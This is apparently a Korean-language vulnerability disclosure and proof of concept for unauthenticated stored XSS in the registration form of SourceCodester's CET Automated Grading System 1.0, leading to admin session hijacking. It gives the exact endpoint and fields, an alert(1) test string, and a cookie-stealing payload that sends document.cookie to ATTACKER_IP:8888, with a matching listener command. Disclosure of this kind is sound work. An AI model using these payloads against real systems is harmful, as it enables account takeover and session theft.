
SourceCodester CET 자동 채점 시스템 1.0의 저장형 XSS에 대한 개념 증명으로, 학생 등록을 통한 인증되지 않은 페이로드 주입이 관리자 세션 하이재킹으로 이어지는 것을 시연합니다.
| 필드 | 값 |
|---|
| 공급업체 | SourceCodester |
| 공급업체 URL | https://www.sourcecodester.com |
| 제품 | PHP 및 MySQL 기반 AI 예측 분석 기능을 갖춘 CET 자동 채점 시스템 |
| 제품 URL | https://www.sourcecodester.com/php/18686/cet-automated-grading-system-ai-predictive-analytics-php-and-mysql.html |
| 버전 | 1.0 |
| 취약점 | 저장형 크로스 사이트 스크립팅 (XSS) |
| CWE | CWE-79 |
| CVSSv3 점수 | 8.8 (높음) |
| 공격 경로 | 네트워크 |
| 인증 필요 | 없음 (학생 자체 등록은 공개됨) |
| 피해자 | 관리자 |
| 사용자 상호작용 | 필요 (관리자가 대시보드 방문) |
| 연구자 | Imad Alvi |
| 날짜 | 2026-04-13 |
파일: PersonalAGS/index.php?action=register (학생 등록)
매개변수: student_id, full_name, section, username (POST)
트리거 위치: PersonalAGS/index.php?action=dashboard (관리자 대시보드)
CET 자동 채점 시스템 1.0의 학생 자체 등록 포털은 데이터베이스에 저장하기 전에 사용자 입력을 삭제하거나 인코딩하지 않습니다. 인증되지 않은 공격자는 JavaScript 페이로드를 등록 필드에 주입하여 학생 계정을 등록할 수 있습니다. 악성 페이로드는 데이터베이스에 저장되며, 등록된 학생이 나열된 대시보드를 방문하는 모든 관리자의 브라우저에서 실행됩니다.
이는 심각한 공격 체인입니다 — 페이로드 주입에 인증이 필요하지 않지만, 권한 있는 관리자 컨텍스트에서 실행되어 세션 쿠키 탈취 및 관리자 계정 완전 장악이 가능합니다.
공개 학생 자체 등록 페이지로 이동합니다:
http://localhost/cet-personalagms/PersonalAGS/index.php?action=register
모든 필드에 XSS 페이로드를 입력하고 계정 등록을 클릭합니다:
"><svg onload=alert(1)>"><svg onload=alert(1)>"><svg onload=alert(1)>"><svg onload=alert(1)>
등록이 성공합니다 — 페이로드가 데이터베이스에 저장됩니다.
관리자가 로그인하여 대시보드를 방문하면 주입된 페이로드가 즉시 실행됩니다. 경고 팝업이 표시되고 주입된 HTML로 인해 페이지 레이아웃이 눈에 띄게 손상됩니다 — 이는 페이로드가 관리자 패널에서 삭제되지 않은 채 렌더링됨을 확인시켜 줍니다.
대시보드 섹션 헤더에도 주입된 값이 반영됩니다:
1ST YEAR - SECTION 1ST YEAR" ONMOUSEOVE3RD YEAR - SECTION " ONLOAD=ALERT(1) X=
공격자는 등록 필드에 다음 페이로드를 사용하여 이를 완전한 관리자 세션 하이재킹으로 확대할 수 있습니다:
" onmouseover="new Image().src='http://ATTACKER_IP:8888/?c='+document.cookie" x="
공격자 머신에 리스너를 설정합니다:
python3 -m http.server 8888
관리자가 대시보드를 방문하면 세션 쿠키가 공격자의 서버로 전송되어 완전한 계정 장악이 가능해집니다.
인증되지 않은 공격자는 다음을 수행할 수 있습니다:
페이로드 주입에 인증이 필요하지 않습니다. 공격은 관리자가 대시보드를 방문할 때 자동으로 실행됩니다.